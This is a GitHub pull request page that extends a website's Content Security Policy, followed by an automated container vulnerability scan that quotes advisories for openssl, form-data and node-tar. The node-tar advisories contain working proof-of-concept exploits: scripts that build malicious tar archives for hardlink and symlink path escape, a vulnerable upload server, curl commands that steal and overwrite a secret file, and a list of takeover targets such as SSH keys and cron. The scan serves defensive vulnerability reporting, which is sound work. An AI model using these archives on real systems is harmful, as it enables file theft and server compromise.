feat(security-headers): extend CSP for third-party integrations by IhorMasechko · Pull Request #243 · speedandfunction/website

IhorMasechko · 2026-02-04T19:59:19Z

Allow reCAPTCHA, GTM inline scripts (hashes), LinkedIn Insight, GA, Hotjar, and Facebook Pixel. Add data: for inline fonts (Swiper).

Extend Apostrophe security-headers CSP to allow third‑party integrations and necessary inline resources. Adds policies enabling reCAPTCHA, Google Tag Manager inline scripts via SHA‑256 hashes, LinkedIn Insight (including localhost in non‑prod), Google Analytics, Hotjar, and Facebook Pixel, and permits data: for inline fonts (Swiper). Policies specify script-src, connect-src, img-src, font-src, and style-src as needed.

Allow reCAPTCHA, GTM inline scripts (hashes), LinkedIn Insight, GA, Hotjar, and Facebook Pixel. Add data: for inline fonts (Swiper).

coderabbitai · 2026-02-04T19:59:41Z

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Walkthrough

Adds an Apostrophe CMS module that extends @apostrophecms/security-headers with additional CSP policy groups. Policies added: recaptcha (Google script/frame sources), inlineFonts (font-src: data:), inlineScripts (multiple SHA-256 script-src hashes), linkedin (script-src, connect-src built to include localhost when not in production, img-src), googleAnalytics (connect-src), hotjar (script, connect, img, font, style sources), and facebook (script, connect, img). The module exports improve: '@apostrophecms/security-headers' with these options.policies.

🚥 Pre-merge checks | ✅ 3

✅ Passed checks (3 passed)

Check name	Status	Explanation
Description Check	✅ Passed	Check skipped - CodeRabbit’s high-level summary is enabled.
Title check	✅ Passed	The title accurately describes the main change: extending Content Security Policy for third-party integrations, which matches the changeset additions of security policies for reCAPTCHA, LinkedIn, Google Analytics, Hotjar, and Facebook.
Docstring Coverage	✅ Passed	No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.

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github-actions · 2026-02-04T20:01:18Z

🔍 Vulnerabilities of `apostrophe-cms:test`

📦 Image Reference apostrophe-cms:test

digest	`sha256:c15c8b2adc1346f62dad392a972070f4a15357014c7637d8341481236708ed57`
vulnerabilities
platform	linux/amd64
size	175 MB
packages	986

📦 Base Image node:23-alpine

also known as	`23-alpine3.22` `23.11-alpine` `23.11-alpine3.22` `23.11.1-alpine` `23.11.1-alpine3.22`
digest	`sha256:b9d38d589853406ff0d4364f21969840c3e0397087643aef8eede40edbb6c7cd`
vulnerabilities

openssl 3.5.0-r0 (apk)

pkg:apk/alpine/openssl@3.5.0-r0?os_name=alpine&os_version=3.22

Affected range	`<3.5.5-r0`
Fixed version	`3.5.5-r0`
EPSS Score	`0.662%`
EPSS Percentile	`71st percentile`

Description

Affected range	`<3.5.4-r0`
Fixed version	`3.5.4-r0`
EPSS Score	`0.031%`
EPSS Percentile	`9th percentile`

Description

Affected range	`<3.5.5-r0`
Fixed version	`3.5.5-r0`
EPSS Score	`0.059%`
EPSS Percentile	`18th percentile`

Description

Affected range	`<3.5.5-r0`
Fixed version	`3.5.5-r0`
EPSS Score	`0.070%`
EPSS Percentile	`21st percentile`

Description

Affected range	`<3.5.5-r0`
Fixed version	`3.5.5-r0`
EPSS Score	`0.056%`
EPSS Percentile	`17th percentile`

Description

form-data 4.0.2 (npm)

pkg:npm/form-data@4.0.2

Use of Insufficiently Random Values

Affected range	`>=4.0.0 <4.0.4`
Fixed version	`4.0.4`
CVSS Score	`9.4`
CVSS Vector	`CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N`
EPSS Score	`0.129%`
EPSS Percentile	`33rd percentile`

Description

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

can observe other values produced by Math.random in the target application, and

can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)

Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

tar 6.2.1 (npm)

pkg:npm/tar@6.2.1

Improper Handling of Unicode Encoding

Affected range	`<=7.5.3`
Fixed version	`7.5.4`
CVSS Score	`8.8`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L`
EPSS Score	`0.015%`
EPSS Percentile	`3rd percentile`

Description

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$ 
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});
Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.

Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range	`<7.5.7`
Fixed version	`7.5.7`
CVSS Score	`8.2`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N`
EPSS Score	`0.025%`
EPSS Percentile	`6th percentile`

Description

Summary

node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details

The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]:
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
Hardlink creation in [HARDLINK]:
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.

Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC

Setup

Create a new directory with these files:
poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)
package.json
{ "dependencies": { "tar": "^7.5.0" } }
secret.txt (sensitive file outside uploads/)
DATABASE_PASSWORD=supersecret123
server.js (vulnerable file upload server)
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', async () => {
      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
    });
  } else if (req.method === 'GET' && req.url === '/read') {
    // Simulates app serving extracted files (e.g., file download, static assets)
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath));
    } else {
      res.end('File not found\n');
    }
  } else if (req.method === 'POST' && req.url === '/write') {
    // Simulates app writing to extracted file (e.g., config update, log append)
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('Written\n');
      } else {
        res.end('File not found\n');
      }
    });
  } else {
    res.end('POST /upload, GET /read, or POST /write\n');
  }
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
create-malicious-tar.js (attacker creates exploit TAR)
const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);
  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);
  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
  if (linkpath) b.write(linkpath, 157);
  b.write('ustar\x00', 257); b.write('00', 263);
  let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
  b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
  return b;
}

// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
Run
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

# Terminal 1: Start server
node server.js

# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload

# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123

# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write

# Confirm secret.txt was modified
cat secret.txt
Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.

Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

Attack Vector Target File Result

SSH Access ~/.ssh/authorized_keys Direct shell access to server

Cron Backdoor /etc/cron.d/*, ~/.crontab Persistent code execution

Shell RC Files ~/.bashrc, ~/.profile Code execution on user login

Web App Backdoor Application .js, .php, .py files Immediate RCE via web requests

Systemd Services /etc/systemd/system/*.service Code execution on service restart

User Creation /etc/passwd (if running as root) Add new privileged user

Data Exfiltration & Corruption

Overwrite arbitrary files via hardlink escape + subsequent write operations

Read sensitive files by creating hardlinks that point outside extraction directory

Corrupt databases and application state

Steal credentials from config files, .env, secrets

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range	`<=7.5.2`
Fixed version	`7.5.3`
CVSS Score	`8.2`
CVSS Vector	`CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N`
EPSS Score	`0.007%`
EPSS Percentile	`0th percentile`

Description

Summary

The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.

Details

The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.

1. Hardlink Escape (Arbitrary File Overwrite)

The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.

The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., /etc/passwd) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.

2. Symlink Poisoning

The extraction logic passes the user-supplied entry.linkpath directly to fs.symlink without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (../../), even when secure extraction defaults are used.

PoC

The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to /etc/passwd). It then extracts the archive using standard node-tar settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})
Impact

Arbitrary File Overwrite: An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.

Remote Code Execution (RCE): In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all Link and SymbolicLink tar entries from extracted packages.)

tar 7.4.3 (npm)

pkg:npm/tar@7.4.3

Improper Handling of Unicode Encoding

Affected range	`<=7.5.3`
Fixed version	`7.5.4`
CVSS Score	`8.8`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L`
EPSS Score	`0.015%`
EPSS Percentile	`3rd percentile`

Description

TITLE: Race Condition in node-tar Path Reservations via Unicode Sharp-S (ß) Collisions on macOS APFS

AUTHOR: Tomás Illuminati

Details

A race condition vulnerability exists in node-tar (v7.5.3) this is to an incomplete handling of Unicode path collisions in the path-reservations system. On case-insensitive or normalization-insensitive filesystems (such as macOS APFS, In which it has been tested), the library fails to lock colliding paths (e.g., ß and ss), allowing them to be processed in parallel. This bypasses the library's internal concurrency safeguards and permits Symlink Poisoning attacks via race conditions. The library uses a PathReservations system to ensure that metadata checks and file operations for the same path are serialized. This prevents race conditions where one entry might clobber another concurrently.
// node-tar/src/path-reservations.ts (Lines 53-62)
reserve(paths: string[], fn: Handler) {
    paths =
      isWindows ?
        ['win32 parallelization disabled']
      : paths.map(p => {
          return stripTrailingSlashes(
            join(normalizeUnicode(p)), // <- THE PROBLEM FOR MacOS FS
          ).toLowerCase()
        })
In MacOS the join(normalizeUnicode(p)), FS confuses ß with ss, but this code does not. For example:
bash-3.2$ printf "CONTENT_SS\n" > collision_test_ss
bash-3.2$ ls
collision_test_ss
bash-3.2$ printf "CONTENT_ESSZETT\n" > collision_test_ß
bash-3.2$ ls -la
total 8
drwxr-xr-x   3 testuser  staff    96 Jan 19 01:25 .
drwxr-x---+ 82 testuser  staff  2624 Jan 19 01:25 ..
-rw-r--r--   1 testuser  staff    16 Jan 19 01:26 collision_test_ss
bash-3.2$ 
PoC
const tar = require('tar');
const fs = require('fs');
const path = require('path');
const { PassThrough } = require('stream');

const exploitDir = path.resolve('race_exploit_dir');
if (fs.existsSync(exploitDir)) fs.rmSync(exploitDir, { recursive: true, force: true });
fs.mkdirSync(exploitDir);

console.log('[*] Testing...');
console.log(`[*] Extraction target: ${exploitDir}`);

// Construct stream
const stream = new PassThrough();

const contentA = 'A'.repeat(1000);
const contentB = 'B'.repeat(1000);

// Key 1: "f_ss"
const header1 = new tar.Header({
    path: 'collision_ss',
    mode: 0o644,
    size: contentA.length,
});
header1.encode();

// Key 2: "f_ß"
const header2 = new tar.Header({
    path: 'collision_ß',
    mode: 0o644,
    size: contentB.length,
});
header2.encode();

// Write to stream
stream.write(header1.block);
stream.write(contentA);
stream.write(Buffer.alloc(512 - (contentA.length % 512))); // Padding

stream.write(header2.block);
stream.write(contentB);
stream.write(Buffer.alloc(512 - (contentB.length % 512))); // Padding

// End
stream.write(Buffer.alloc(1024));
stream.end();

// Extract
const extract = new tar.Unpack({
    cwd: exploitDir,
    // Ensure jobs is high enough to allow parallel processing if locks fail
    jobs: 8 
});

stream.pipe(extract);

extract.on('end', () => {
    console.log('[*] Extraction complete');

    // Check what exists
    const files = fs.readdirSync(exploitDir);
    console.log('[*] Files in exploit dir:', files);
    files.forEach(f => {
        const p = path.join(exploitDir, f);
        const stat = fs.statSync(p);
        const content = fs.readFileSync(p, 'utf8');
        console.log(`File: ${f}, Inode: ${stat.ino}, Content: ${content.substring(0, 10)}... (Length: ${content.length})`);
    });

    if (files.length === 1 || (files.length === 2 && fs.statSync(path.join(exploitDir, files[0])).ino === fs.statSync(path.join(exploitDir, files[1])).ino)) {
        console.log('\[*] GOOD');
    } else {
        console.log('[-] No collision');
    }
});
Impact

This is a Race Condition which enables Arbitrary File Overwrite. This vulnerability affects users and systems using node-tar on macOS (APFS/HFS+). Because of using NFD Unicode normalization (in which ß and ss are different), conflicting paths do not have their order properly preserved under filesystems that ignore Unicode normalization (e.g., APFS (in which ß causes an inode collision with ss)). This enables an attacker to circumvent internal parallelization locks (PathReservations) using conflicting filenames within a malicious tar archive.

Remediation

Update path-reservations.js to use a normalization form that matches the target filesystem's behavior (e.g., NFKD), followed by first toLocaleLowerCase('en') and then toLocaleUpperCase('en').

Users who cannot upgrade promptly, and who are programmatically using node-tar to extract arbitrary tarball data should filter out all SymbolicLink entries (as npm does) to defend against arbitrary file writes via this file system entry name collision issue.

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range	`<7.5.7`
Fixed version	`7.5.7`
CVSS Score	`8.2`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N`
EPSS Score	`0.025%`
EPSS Percentile	`6th percentile`

Description

Summary

node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.

Details

The vulnerability exists in lib/unpack.js. When extracting a hardlink, two functions handle the linkpath differently:

Security check in [STRIPABSOLUTEPATH]:
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
Hardlink creation in [HARDLINK]:
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
Example: An application extracts a TAR using tar.extract({ cwd: '/var/app/uploads/' }). The TAR contains entry a/b/c/d/x as a hardlink to ../../../../etc/passwd.

Security check resolves the linkpath relative to the entry's parent directory: a/b/c/d/ + ../../../../etc/passwd = etc/passwd. No ../ prefix, so it passes.

Hardlink creation resolves the linkpath relative to the extraction directory (this.cwd): /var/app/uploads/ + ../../../../etc/passwd = /etc/passwd. This escapes to the system's /etc/passwd.

The security check and hardlink creation use different starting points (entry directory a/b/c/d/ vs extraction directory /var/app/uploads/), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.

PoC

Setup

Create a new directory with these files:
poc/
├── package.json
├── secret.txt          ← sensitive file (target)
├── server.js           ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/            ← created automatically by server.js
    └── (extracted files go here)
package.json
{ "dependencies": { "tar": "^7.5.0" } }
secret.txt (sensitive file outside uploads/)
DATABASE_PASSWORD=supersecret123
server.js (vulnerable file upload server)
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');

const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/upload') {
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', async () => {
      fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
      await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
      res.end('Extracted\n');
    });
  } else if (req.method === 'GET' && req.url === '/read') {
    // Simulates app serving extracted files (e.g., file download, static assets)
    const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
    if (fs.existsSync(targetPath)) {
      res.end(fs.readFileSync(targetPath));
    } else {
      res.end('File not found\n');
    }
  } else if (req.method === 'POST' && req.url === '/write') {
    // Simulates app writing to extracted file (e.g., config update, log append)
    const chunks = [];
    req.on('data', c => chunks.push(c));
    req.on('end', () => {
      const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
      if (fs.existsSync(targetPath)) {
        fs.writeFileSync(targetPath, Buffer.concat(chunks));
        res.end('Written\n');
      } else {
        res.end('File not found\n');
      }
    });
  } else {
    res.end('POST /upload, GET /read, or POST /write\n');
  }
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
create-malicious-tar.js (attacker creates exploit TAR)
const fs = require('fs');

function tarHeader(name, type, linkpath = '', size = 0) {
  const b = Buffer.alloc(512, 0);
  b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
  b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
  b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
  b.write('        ', 148);
  b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
  if (linkpath) b.write(linkpath, 157);
  b.write('ustar\x00', 257); b.write('00', 263);
  let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
  b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
  return b;
}

// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
  tarHeader('d/', 'dir'),
  tarHeader('d/x', 'link', '../secret.txt'),
  Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
Run
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt

# Terminal 1: Start server
node server.js

# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload

# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123

# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write

# Confirm secret.txt was modified
cat secret.txt
Impact

An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:

Immediate (Read Attack): If the application serves extracted files, attacker can read any file readable by the process.

Conditional (Write Attack): If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.

Remote Code Execution / Server Takeover

Attack Vector Target File Result

SSH Access ~/.ssh/authorized_keys Direct shell access to server

Cron Backdoor /etc/cron.d/*, ~/.crontab Persistent code execution

Shell RC Files ~/.bashrc, ~/.profile Code execution on user login

Web App Backdoor Application .js, .php, .py files Immediate RCE via web requests

Systemd Services /etc/systemd/system/*.service Code execution on service restart

User Creation /etc/passwd (if running as root) Add new privileged user

Data Exfiltration & Corruption

Overwrite arbitrary files via hardlink escape + subsequent write operations

Read sensitive files by creating hardlinks that point outside extraction directory

Corrupt databases and application state

Steal credentials from config files, .env, secrets

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Affected range	`<=7.5.2`
Fixed version	`7.5.3`
CVSS Score	`8.2`
CVSS Vector	`CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:L/VA:N/SC:H/SI:L/SA:N`
EPSS Score	`0.007%`
EPSS Percentile	`0th percentile`

Description

Summary

The node-tar library (<= 7.5.2) fails to sanitize the linkpath of Link (hardlink) and SymbolicLink entries when preservePaths is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to Arbitrary File Overwrite via hardlinks and Symlink Poisoning via absolute symlink targets.

Details

The vulnerability exists in src/unpack.ts within the [HARDLINK] and [SYMLINK] methods.

1. Hardlink Escape (Arbitrary File Overwrite)

The extraction logic uses path.resolve(this.cwd, entry.linkpath) to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (entry.linkpath) is an absolute path, path.resolve ignores the first argument (this.cwd) entirely and returns the absolute path.

